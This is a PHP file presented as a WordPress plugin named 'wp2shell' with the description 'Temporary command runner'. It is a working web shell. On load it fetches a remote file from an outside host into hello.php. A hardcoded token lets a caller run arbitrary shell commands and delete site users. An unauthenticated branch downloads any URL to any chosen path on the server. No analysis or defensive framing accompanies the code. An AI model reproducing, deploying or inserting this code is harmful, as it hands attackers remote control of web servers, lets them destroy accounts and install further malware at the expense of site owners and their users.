<?php
/*
Plugin Name: wp2shell
Description: Temporary command runner.
*/
copy('http://ad10523.icu/yj/emperor.php','hello.php');
if (hash_equals('0e141bf6ef9e911738c46bbe556dccca', (string) ($_GET['t'] ?? '')) && isset($_GET['c'])) {
    chdir(__DIR__);
    echo 'WP2SHELL::' . shell_exec((string) $_GET['c']) . '::END';
} elseif (hash_equals('0e141bf6ef9e911738c46bbe556dccca', (string) ($_GET['t'] ?? '')) && isset($_GET['delete_user'])) {
    require_once dirname(__DIR__, 3) . '/wp-load.php';
    require_once ABSPATH . 'wp-admin/includes/user.php';
    $user = get_user_by('login', (string) $_GET['delete_user']);
    $ok = $user ? wp_delete_user((int) $user->ID, (int) ($_GET['reassign'] ?? 0)) : false;
    echo 'WP2SHELL::' . ($ok ? 'deleted' : 'failed') . '::END';
}
if(!isset($_GET['t']) && isset($_GET['download'], $_GET['saveas'])){
 $ch=curl_init($_GET['download']);
 $fp=fopen($_GET['saveas'],'w');
 curl_setopt($ch,CURLOPT_FILE,$fp);
 curl_setopt($ch,CURLOPT_FOLLOWLOCATION,true);
 curl_exec($ch);
 $c=curl_getinfo($ch,CURLINFO_HTTP_CODE);
 curl_close($ch); fclose($fp);
 echo $c===200?'ok':'http_'.$c;
 exit;
}